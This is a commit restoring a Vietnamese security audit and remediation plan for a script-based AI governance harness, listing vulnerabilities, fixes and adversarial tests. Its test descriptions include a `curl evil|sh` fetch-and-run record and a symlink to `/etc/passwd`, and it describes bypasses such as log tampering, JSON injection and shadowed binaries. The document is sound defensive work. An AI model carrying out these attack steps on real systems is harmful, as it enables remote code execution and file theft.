docs: restore casan-next-plans roadmap into docs/plans (was wrongly deleted)

The plan set (Plan-00..18, backlog/hardening/QA status, team allocation) is the ONGOING
roadmap, not a finished competition artifact — restored from history into docs/plans/.
Plan-01 (restructure) marked ✅ done; the rest remain to do.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
thanhnv
2026-07-08 14:46:50 +09:00
co-authored by Claude Opus 4.8
parent 18997caf49
commit fa3dd94c76
27 changed files with 4400 additions and 0 deletions
@@ -0,0 +1,255 @@
# KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py)
> Status 2026-07-07: **🟢 remediation P0/P1/P2 phần lớn ĐÃ thực thi** (24 SEC suite,
> **118 check fail-able, 0 fail** trong WSL, đã nối `ci-harness-gate.sh`). Phần dưới
> vẫn giữ nguyên kết quả audit đối kháng + kế hoạch vá; các mục còn `📋 planned` là
> hạ tầng/process lớn (multi-tenant, SCA/ký workflow, signed commits, stored-injection
> scan, trusted-time/attestation ngoài). Mỗi task đã làm có test đối kháng fail-able.
> Bất biến: giữ core harness không tụt; verify trong **WSL** (msys + Python Windows lệch path).
>
> Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent
> audit ~30 file còn lại). Nhãn trạng thái: xem `CASAN_BACKLOG_STATUS.md`.
## 0a. Trạng thái remediation (cập nhật 2026-07-07)
| Nhóm | Task | Trạng thái | Ghi chú |
|---|---|:--:|---|
| **P0** | SEC-01…06 | ✅ done+test | unsigned=FAIL · KMS-anchor · rollback no-`bash -c` · action-gate fail-closed · JSON-safe · CP/governance ký head |
| **P1** | SEC-07, 08, 09, 10 | ✅ done+test | approval JWT · pii fail-closed · input-cap/fail-closed · identity không spoof |
| **P1** | SEC-11 (enforce-by-default) | ✅ **gộp vào SEC-17** | `CASAN_PROFILE=prod` bật enforce mặc định (kill-switch/audit/CP), explicit `=0` vẫn thắng |
| **P2** | SEC-12, 13, 15 | ✅ done+test | drift-invariant · SSRF allowlist · low-cluster (typosquat/tool-exec/validate-input) |
| **P2** | SEC-14 (model-digest env-override) | ✅ done+test | prod/`CASAN_MODEL_DIGEST_STRICT=1` bỏ tin `CASAN_MODEL_DIGEST`; forged override → không OK (`phase-sec14` 5/0) |
| **Arch** | SEC-16, 17, 18, 19, 20, 21 | ✅ done+test | bundle-integrity · prod-profile · test-integrity · atomic-store · toolchain-pin · model/run budget |
| **X-layer** | SEC-27, 28, 29, 30 | ✅ done+test | log control-char strip · path-traversal · audit fail-closed · approval-replay nonce |
| **X-01** | SEC-26 | ✅ done+test | quét golden/corpus/traceability-map/requirement bằng H4 khi nạp prompt; stored-injection → BLOCK, missing source → fail-closed (`phase-sec26` 5/0) |
| **Arch** | SEC-22 (ARCH-06/08) | ✅ done+test | **trusted-time cho `exp`** (clock-skew vô hiệu, file lỗi→fail-closed) + **tag proposal nguồn-không-tin** (self-improve: telemetry chưa ký→untrusted; apply untrusted ở prod/strict→BLOCK); `phase-sec22` 9/0. ARCH-10 (attestation ngoài) là track ngoài như TIER-2 |
| **MT** | SEC-23 | � done (offline) — chỉ còn 23.11 Vault (🔌) | Phase 1–5 offline xong: tenant-store+guard · per-tenant CP/audit/telemetry · RBAC data-boundary + harness wiring · tenant kill-switch + quota · **ký registry** (MT-04, unsigned/tampered/forged→refuse) · **crypt at-rest per-tenant local-key** (MT-02, B không đọc plaintext A). 5 suite `phase-sec23-*` = 36/0. 23.11 (Vault Transit non-exportable) cần infra — xem §2d |
| **SC** | SEC-24 | � partial (offline) | **image digest-pin lint** (chặn `:latest`/floating tag) + **ký/verify workflow** CI (unsigned/tampered/forged→refuse); `phase-sec24` 8/0. Còn live CVE/OSV scan + image scan thật (cần infra) |
| **SC** | SEC-25 | 🟡 partial (offline) | **artifact attestation**: ký hash build + verify **tested==deployed** (swap/forged/unsigned→refuse); `phase-sec25` 5/0. Còn signed-commit enrollment + SLSA chain đầy đủ (cần CI/key) |
> **Đọc tiếp:** bảng findings + kế hoạch chi tiết bên dưới giữ nguyên để tra cứu.
> Cột "Trạng thái" ở trên là nguồn nhanh; số check chi tiết xem `CASAN_HARDENING_STATUS.md`.
## 0. Root cause hệ thống (ưu tiên cao nhất)
Toàn bộ lớp **tamper-evidence** (audit chain, tool-call chain, telemetry integrity,
evidence pack, worm ledger, control-plane audit) dựa trên:
1. **Khoá ký local tự sinh, đặt CẠNH dữ liệu** nó bảo vệ (pubkey tái tạo mỗi lần chạy) →
ai ghi được log thì ký lại được.
2. **Hash chain SHA-256 không khoá (unkeyed)** → tính lại toàn bộ được.
3. **Verifier coi "thiếu chữ ký = `anchor=unsigned` = VALID (exit 0)"** → xoá chữ ký là
qua verify.
→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) **sửa log +
tính lại chain + xoá chữ ký** ⇒ vượt mọi verify. Cộng với **JSON-injection qua
`printf`** và **`bash -c` trên lệnh lưu trong log chưa ký (RCE)**, các đảm bảo toàn
vẹn hiện **bị vô hiệu bởi chính actor local**.
**Điều kiện thoát:** neo chữ ký vào **KMS/HSM ngoài** (Vault Transit đã có
`vault-kms.sh`) + **"unsigned" = FAIL** ở mọi enforced mode.
---
## 1. Bảng findings (hợp nhất pass-1 + pass-2)
### 🔴 High
| ID | File | Attack case | Fix |
|---|---|---|---|
| H-01 | verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh | Thiếu `*.sig`/pubkey ⇒ `anchor=unsigned` exit 0. Sửa log → tính lại chain → xoá sig → PASS | Enforced mode: thiếu chữ ký ⇒ exit≠0; `anchor=unsigned` = FAIL |
| H-02 | tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh | Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại | KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod |
| H-03 | rollback-manager.sh | `execute` chạy `bash -c "$rollback_command"` đọc từ log **chưa ký** → **RCE** | Lưu restore action dạng **argv có cấu trúc**, không `bash -c`; ký + verify tx log |
| H-04 | governance-check.sh | `CASAN_APPROVER`/`CASAN_ACTOR`/`ACTION_NAME` nội suy raw qua `printf` vào JSON → `"`+newline **chèn bản ghi audit giả** (approval giả) | Xuất JSON qua `python json.dumps`/`jq`; escape/validate field |
| H-05 | action-gate.sh | Không check RC của Python; output rỗng/crash rơi vào `*) ALLOW` → **fail-open** | Bắt RC; mặc định **DENY** khi không phải ALLOW tường minh |
| H-06 | control-plane-settings.py · governance-report.py *(tự viết)* | Audit hash-chain **không ký** → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả | Ký head qua `sign-audit-head.sh`/KMS; governance-report yêu cầu chữ ký hợp lệ |
### 🟠 Medium
| ID | File | Attack case | Fix |
|---|---|---|---|
| M-01 | worm-ledger.py | Chain unsigned recomputable; `json.loads` không guard → malformed line crash | Neo KMS/Object-Lock; try/except fail-closed |
| M-02 | casan-harness.sh | Tool-output injection scan mặc định **warn**; kill-switch enforce **opt-in** → stop khẩn = no-op mặc định | Mặc định **block** ở non-dev; kill-switch enforce mặc định on |
| M-03 | model-digest-check.sh | `current_digest()` ưu tiên env `CASAN_MODEL_DIGEST` → tráo model + set env = qua; `pin` không ký | Bỏ env override ở enforced mode; ký pin file |
| M-04 | kill-switch.sh | `clear` **không cần authz**; state là file `rm` được | Yêu cầu approval ký để clear; state ở store được bảo vệ |
| M-05 | tool-registry-gate.sh · agent-metrics.sh | Authz theo env `CASAN_AGENT` spoof được; agent-metrics nội suy raw vào JSON | Bind identity qua token verify; JSON qua serializer |
| M-06 | pii-mask.py | Thiếu rules file / rule regex hỏng → **emit nội dung KHÔNG mask** (fail-open) | Fail-closed: từ chối/emit rỗng khi rules lỗi |
| M-07 | sandbox-run.sh | Chỉ chặn redirection `>`/`>>`; `tee /etc/x`, `cp .. /abs`, `dd of=` lọt | Cách ly filesystem thật (container/ns/ro-mount) |
| M-08 | supply-chain-gate.sh · self-improve.py · control-plane-settings.py *(tự viết)* | Approval = bất kỳ chuỗi non-empty | Verify assertion ký (nối `approval-verify.sh` JWT) |
| M-09 | provider-usage-fetch.sh | `API_URL` arg fetch bằng `curl -f` không validate scheme/host → **SSRF** (internal/`file://`) | Allowlist scheme/host; chặn internal/link-local |
| M-10 | security-check.sh · drift-detect.sh · context-compress.py *(tự viết)* | Không cap input size → **DoS**; drift `SequenceMatcher` O(n²); non-UTF8/thiếu file → **crash** thay vì fail-closed | Cap size (vd 2MB); `errors="replace"` + try/except → verdict block |
| M-11 | evidence-pack-build.py | Certify tin RC verifier do env truyền (`CASAN_EP_*`) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) | Chạy verifier bên trong build hoặc yêu cầu output verifier có ký |
### 🟡 Low (rút gọn)
drift-detect **coarse** (chỉ char-similarity → **lật phủ định lọt**, không must-keep) · rai-guard classify bypass bằng obfuscation (`a[at]b`) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng `http://` · dashboard-server no-auth + bind `0.0.0.0` env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed `\|` injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend.
---
## 2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able)
> Nguyên tắc: mỗi fix phải kèm **test đối kháng fail-able** trong `.specify/tests/`,
> nối `ci-harness-gate.sh`, giữ 280/0. Verify trong WSL.
### P0 — chặn đứng "gãy" & bypass toàn vẹn
| Task | Nội dung | Verify (test mới/mở rộng) |
|---|---|---|
| SEC-01 | **"unsigned = FAIL" ở enforced mode** cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm `CASAN_VERIFY_STRICT=1`) | Xoá `*.sig` → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL |
| SEC-02 | **KMS-anchor** cho mọi head (audit/tool/telemetry/evidence/control-plane) qua `vault-kms.sh`; bỏ auto-gen key local ở enforced mode | Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL |
| SEC-03 | **rollback-manager**: bỏ `bash -c`, dùng argv có cấu trúc + verify tx log đã ký | Append record `curl evil|sh` → `execute` REFUSE |
| SEC-04 | **action-gate fail-closed**: bắt RC Python, mặc định DENY | Ép classifier crash → gate DENY (fail-able) |
| SEC-05 | **JSON-safe writers**: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer | Field `"`+newline → không có bản ghi giả thứ 2 |
| SEC-06 | **control-plane/governance-report ký head** (H-06) | Tamper store + recompute → governance-report NOT_CERTIFIED |
### P1 — authz, fail-open, DoS
| Task | Nội dung | Verify |
|---|---|---|
| SEC-07 | **Approval thật**: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua `approval-verify.sh` | `--approval x` (chuỗi bừa) → DENY; JWT hợp lệ → cho |
| SEC-08 | **pii-mask fail-closed** khi rules lỗi/regex hỏng | Thiếu rules → refuse (không emit unmasked) |
| SEC-09 | **Cap input size + fail-closed đọc** (security-check/drift-detect/context-compress) | Input > cap → block verdict; non-UTF8 → block, không traceback |
| SEC-10 | **Identity không spoof**: tool-registry-gate/agent-metrics bind token thay `CASAN_AGENT` env | Spoof env → không lên quyền |
| SEC-11 | **Enforce mặc định**: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile | Engaged kill-switch → harness refuse mặc định |
### P2 — chiều sâu & làm cứng
| Task | Nội dung | Verify |
|---|---|---|
| SEC-12 | **drift-detect nâng cấp**: must-keep invariants + cảnh báo lật phủ định + fail-closed | Golden↔candidate lật "không" → drift FAIL dù similarity cao |
| SEC-13 | **SSRF allowlist**: provider-usage-fetch / approval-verify JWKS / dashboard bind | URL internal/`file://` → reject |
| SEC-14 | **sandbox thật** (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override | `tee /etc/x` bị chặn; tráo model + env → digest FAIL |
| SEC-15 | Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed | Mỗi mục 1 test nhỏ |
---
## 2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn)
> Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS".
> Kế hoạch, chưa fix.
| ID | Điểm yếu | Attack case | Fix (kế hoạch) |
|---|---|---|---|
| ARCH-01 | **Gate & policy không được bảo vệ toàn vẹn** | Kẻ ghi được workspace **sửa thẳng `security-check.sh` / `prompt-filter.yaml` / `thresholds.yaml` / `model-digest.pin` / `reviewers.registry`** → bypass tuyệt đối (sửa gate/policy chứ không sửa input). | Ký + verify **bundle harness+policy** bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). |
| ARCH-02 | **Test tự tham chiếu** | Test nằm cùng repo attacker sửa được → **xoá case đối kháng / hạ số check** mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. | Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. |
| ARCH-03 | **Vi phạm secure-by-default** | Hầu hết control mạnh là **opt-in env**: `CASAN_SECURITY_STRICT`, `CASAN_PREFLIGHT`, `CASAN_KILLSWITCH_ENFORCE`, `CASAN_VERIFY_STRICT`, digest mode. Không set = **tắt**. Operator lười / attacker chỉ cần không bật. | `CASAN_PROFILE=prod` bật **tất cả** enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). |
| ARCH-04 | **Tin PATH / binary** | `python`/`grep`/`sha256sum`/`openssl`/`uuidgen` lấy từ PATH; **shadow binary** trên PATH (vd `grep` giả luôn trả no-match) → điều khiển verdict gate. | Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. |
| ARCH-05 | **TOCTOU / không atomic, không lock** | `control-plane-settings` (load→modify→save) và audit append **không khoá/không atomic** → 2 run song song **mất write / vỡ hash-chain**; kill-switch check→act là race. | `flock` + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. |
| ARCH-06 | **Tin đồng hồ hệ thống** | JWT `exp` / approval dựa system clock; **skew/chỉnh clock** trên host → chấp nhận approval hết hạn. | Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. |
| ARCH-07 | **DoS khuếch đại qua model** | Semantic classify timeout **180s**/call × nhiều step; model bị làm treo → pipeline đứng lâu. | Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. |
| ARCH-08 | **Telemetry poisoning → self-improve** | Log-injection (H-04/M-05) làm hỏng metrics → `self-improve propose` sinh đề xuất theo dữ liệu giả (dù apply cần approval). | Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. |
| ARCH-09 | **No-op âm thầm theo nền tảng = fail-open** | Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate **no-op âm thầm**. | `check-prerequisites` fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. |
| ARCH-10 | **Tin tuần hoàn của evidence** | Evidence/governance-report chứng minh **nội bộ nhất quán**, không chứng minh run **trung thực** (inputs tự khai). | Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. |
### Remediation bổ sung (P0/P1 — plan)
| Task | Map | Verify |
|---|---|---|
| SEC-16 | ARCH-01 ký+verify harness/policy bundle (KMS) | Sửa 1 byte `security-check.sh`/`prompt-filter.yaml` → harness refuse |
| SEC-17 | ARCH-03 `CASAN_PROFILE=prod` enforce-by-default toàn bộ | prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce |
| SEC-18 | ARCH-02 test-integrity manifest ký + CI check count/hash | Xoá 1 fail-able check → CI FAIL "test coverage dropped" |
| SEC-19 | ARCH-05 flock + atomic write cho store/audit | 2 `set` song song → không mất write, chain còn verify |
| SEC-20 | ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) | Shadow `grep` giả / thiếu tool → refuse, không no-op |
| SEC-21 | ARCH-07 giảm timeout + global run budget | Model treo → hủy sớm, không đứng pipeline |
| SEC-22 | ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) | trusted-time cho exp; proposal nguồn-không-tin gắn nhãn |
## 2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order)
> Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix.
### Multi-tenant trust model
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| MT-01 | State là **file chung không phân vùng** (audit/control-plane store/telemetry/kill-switch/logs global) | Script dự án A **đọc/sửa thẳng file** của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) | Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API |
| MT-02 | Không mã hoá per-tenant | Admin/tenant A xem audit/telemetry của B | Mã hoá at-rest per-tenant; khoá theo tenant qua KMS |
| MT-03 | Kill-switch/cost/quota **global** | 1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) | Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên |
| MT-04 | `project-registry.json` **chưa ký** | Tenant giả đăng ký/tráo project khác | Ký registry; verify khi load |
### Supply-chain của chính harness
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| SC-01 | File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) | Sửa policy = tắt control mà không đụng code | Ký + verify policy bundle (gộp ARCH-01) |
| SC-02 | Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) | Shadow binary điều khiển verdict (gộp ARCH-04) | Pin path + verify provenance |
| SC-03 | Model dependency: digest env-override, không SBOM/provenance | Tráo model + set `CASAN_MODEL_DIGEST` (gộp M-03) | Bỏ env-override; model card + provenance (Plan-15) |
| SC-04 | npm/pip deps (backend + control-plane) + prisma engine tải mạng | Dep độc trong lớp governance → RCE | Lockfile + `npm audit`/SCA trong CI; pin engine |
| SC-05 | CI runner + `.gitea/workflows` editable trong repo | Sửa workflow → "green" giả; runner image không pin | Ký workflow/pipeline; pin runner image; tách quyền |
| SC-06 | Base image Docker (backend/frontend/sandbox) không pin/scan | Base image độc | Pin digest + scan image |
| SC-07 | Không ký commit / không provenance | Không chứng minh AI được ai sửa gate | Signed commits + attestation (SLSA-style) |
### Second-order & lớp khác
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| X-01 | **Stored/second-order injection** | Payload trong `golden-runs`/`redteam-corpus`/`traceability-map`/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp | Quét cả file "vàng"/data nạp vào prompt bằng H4 |
| X-02 | **ANSI/terminal-escape injection** vào log/dashboard | Nội dung attacker viết lại terminal reviewer / giấu dòng audit | Strip/escape control chars khi ghi log & render |
| X-03 | **ReDoS** trên `grep -E`/`re` | Input dựng riêng → backtracking mũ → DoS | Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm |
| X-04 | **Symlink/path-traversal** trên tham số file | Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) | Resolve realpath + chặn ngoài workspace; `O_NOFOLLOW` |
| X-05 | **Disk-fill DoS** | Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash | Rotation + quota + fail-closed khi không ghi được audit |
| X-06 | **Approval replay** | JWT approval hợp lệ dùng lại trong cửa sổ `exp` | Nonce một-lần + jti blacklist |
| X-07 | **Deploy provenance** | Gate xanh ở CI nhưng artifact deploy ≠ bản test | Ký artifact liên kết tested==deployed |
### Remediation bổ sung (plan)
| Task | Map | Verify |
|---|---|---|
| SEC-23 | MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry | Run tenant A không đọc/sửa được state B; registry giả → reject |
| SEC-24 | SC-04/05/06 SCA + pin runner/base image + ký workflow | Dep độc/workflow sửa → CI FAIL |
| SEC-25 | SC-07 signed commits + attestation | Commit không ký gate → CI cảnh báo/chặn |
| SEC-26 | X-01 quét golden/corpus/map bằng H4 khi nạp prompt | Payload trong golden → BLOCK |
| SEC-27 | X-02 strip control-char khi ghi/hiển thị log | ANSI escape trong input → log sạch |
| SEC-28 | X-04 realpath + chặn symlink ngoài workspace | Symlink `/etc/passwd` làm input → reject |
| SEC-29 | X-05 log rotation/quota + fail-closed khi audit không ghi được | Đĩa đầy → refuse, không fail-open |
| SEC-30 | X-06 nonce/jti cho approval; X-07 ký artifact | Replay JWT → DENY; artifact ≠ test → block deploy |
## 2d. SEC-23 — chia bước chi tiết (multi-tenant partition · MT-01..04)
> **Mục tiêu:** không còn state chung không phân vùng; run của tenant A **không đọc/sửa**
> được state của B (kể cả khi bỏ qua RBAC tầng API bằng cách đụng thẳng file). Task lớn
> (L) ⇒ chia **6 phase, 14 bước nhỏ**, mỗi bước có **test đối kháng fail-able** riêng, nối
> `ci-harness-gate.sh`, giữ core harness không tụt. Verify **WSL**.
>
> **Nguyên tắc:** deny-by-default · secure-by-default ở `CASAN_PROFILE=prod` (thiếu tenant ⇒
> fail-closed) · RBAC ở **cả tầng dữ liệu** không chỉ API · tái dùng `path-guard.sh`
> (SEC-28), `sign-audit-head.sh`/KMS (SEC-02), atomic+flock (SEC-19).
>
> **Cờ:** 🟦 offline được ngay · 🔌 cần Vault/KMS (skip-aware).
### Phase 1 — Nền: tenant resolver + guard (🟦) — ✅ done (`tenant-store.sh` + `phase-sec23-tenant-store` 10/0, nối CI)
| Bước | Việc | File | Test (fail-able) | Dep |
|---|---|---|---|---|
| 23.1 | `tenant-store.sh resolve <logical-name>` → path phân vùng `.specify/state/tenants/<tenant_id>/…` theo `CASAN_TENANT_ID`; validate id (allowlist charset, chặn `..`/`/`) | mới `tenant-store.sh` | 2 tenant → 2 path khác; id `../evil` → reject | — |
| 23.2 | **Cross-tenant guard**: cho path yêu cầu + tenant hiện tại, từ chối truy cập partition tenant khác (realpath, phải nằm trong tenant-root của mình) | `tenant-store.sh guard` (nối `path-guard.sh`) | tenant A đọc/ghi path của B → DENY | 23.1 |
| 23.3 | Tạo tenant-dir quyền **0700** (owner-only) — OS bổ trợ guard logic | `tenant-store.sh init` | mode dir = 0700 | 23.1 |
| 23.12 | **Secure-by-default**: prod bắt buộc `CASAN_TENANT_ID`; thiếu ⇒ fail-closed (refuse). Dev có default tenant | `tenant-store.sh` | prod thiếu tenant → refuse; dev → default | 23.1 |
### Phase 2 — Chuyển state chung → per-tenant (🟦) — ✅ done. 23.4/23.5/23.6 (CP settings+audit-chain per-tenant qua `CASAN_TENANT_ID`; telemetry qua `tenant-paths.sh`) + **23.13** (casan-harness source `tenant-paths.sh`; RBAC data-boundary `rbac-check.py` — org-admin A không đụng B). `phase-sec23-state-isolation` 9/0 + `phase-sec23-rbac-tenant` 6/0
| Bước | Việc | File | Test | Dep |
|---|---|---|---|---|
| 23.4 | **Audit chain per-tenant** (append/verify qua tenant-store) | nối `tool-audit-lib.sh`/`verify-audit-chain.sh` | chain A độc lập; B không đọc/ghi được audit A | 23.2 |
| 23.5 | **Control-plane settings store per-tenant** | nối `control-plane-settings.py` | đổi setting A không ảnh hưởng B | 23.2 |
| 23.6 | **Telemetry/metrics + logs per-tenant** | nối `agent-metrics.sh`/`casan-log.sh` | telemetry A tách khỏi B | 23.2 |
| 23.13 | Wire tenant-store vào `casan-harness.sh` + **RBAC data-layer**: quyết định RBAC còn chặn ranh giới tenant khi truy cập dữ liệu (không chỉ API) | nối `casan-harness.sh`, `rbac-check.py` | action RBAC-hợp-lệ ở A không đụng được dữ liệu B | 23.4, 23.5 |
### Phase 3 — MT-03 tài nguyên scope theo tenant (🟦) — ✅ done (23.7 tenant kill-switch: A halt không ảnh hưởng B; 23.8 per-tenant cost/quota: chi tiêu A không tính vào budget B; `phase-sec23-scope` 4/0)
| Bước | Việc | File | Test | Dep |
|---|---|---|---|---|
| 23.7 | **Kill-switch scope tenant** (thêm scope `tenant` cạnh project/model/provider/global) | nối `kill-switch.sh`, `casan-harness.sh` | A engage tenant-switch → A refuse, B vẫn chạy | 23.1 |
| 23.8 | **Cost/quota/budget per-tenant** (chống noisy-neighbor) | nối `cost-spike-detect.sh` | A burn budget → A capped, B không ảnh hưởng | 23.1 |
### Phase 4 — MT-04 ký registry (🟦) — ✅ done (`tenant-registry-verify.sh`: valid→OK; tampered/forged/**unsigned**→refuse fail-closed; `phase-sec23-registry-crypt` 23.9)
| Bước | Việc | File | Test | Dep |
|---|---|---|---|---|
| 23.9 | Ký `project-registry.json`/tenant-registry + verify khi load; unsigned/forged → reject (tái dùng `sign-audit-head.sh`) | mới `tenant-registry-verify.sh` | registry giả/sửa → load DENY | 23.1 |
### Phase 5 — MT-02 mã hoá at-rest — 🟡 23.10 ✅ done offline (`tenant-crypt.sh`: khoá per-tenant, state A là ciphertext, B không giải mã được; `phase-sec23-registry-crypt` 23.10). **23.11 🔌 còn lại** (Vault Transit non-exportable, cần infra) per-tenant
| Bước | Việc | File | Test | Dep | Cờ |
|---|---|---|---|---|:--:|
| 23.10 | Mã hoá state nhạy cảm (audit/telemetry) at-rest bằng **khoá local per-tenant** (KMS-ready) → admin/tenant A không đọc plaintext của B | mới `tenant-crypt.sh` | audit B trên đĩa là ciphertext; A không giải mã được | 23.4 | 🟦 |
| 23.11 | Khoá per-tenant qua **Vault Transit** (non-exportable) — bản production | nối `vault-kms.sh` | khoá theo tenant, non-exportable (live/skip) | 23.10 | 🔌 |
### Phase 6 — Nối CI & chốt (🟦)
| Bước | Việc | File | Test | Dep |
|---|---|---|---|---|
| 23.14 | Nối `phase-sec23-*` vào `ci-harness-gate.sh` + cập nhật tổng test (`CASAN_HARDENING_STATUS.md`) + trạng thái (`CASAN_BACKLOG_STATUS.md`, §0a) | `ci-harness-gate.sh` | full SEC xanh WSL; số check không tụt | tất cả 23.x |
**Thứ tự thực thi đề xuất:** Phase 1 → 2 → 3/4 (song song được) → 5 → 6. Phần **offline (Phase 1–4 + 23.10)** làm ngay không cần infra; chỉ **23.11 (Vault)** là 🔌 skip-aware.
**Gợi ý test files:** `phase-sec23-tenant-store`, `phase-sec23-audit-isolation`, `phase-sec23-killswitch-scope`, `phase-sec23-registry-sign`, `phase-sec23-crypt`. Mỗi suite deterministic, hermetic (temp tenant roots).
## 3. Ghi chú thực thi cho AI kế tiếp
- **Môi trường verify:** WSL Ubuntu (`wsl.exe -e bash -lc 'cd /mnt/d/... && ...'`); Node bằng Windows Node + `NODE_OPTIONS=--use-system-ca`.
- **Bất biến:** không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass.
- **Thứ tự đề xuất:** **ARCH-01/02/03 (SEC-16/17/18) là P0-class** — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài).
- **Phạm vi chưa soi (pass sau):** create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean).
---
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H4/H5/H6 + TIER 2 KMS/WORM) · `CASAN_HARDENING_STATUS.md` (control đã có) · `vault-kms.sh` (KMS anchor cho SEC-02)._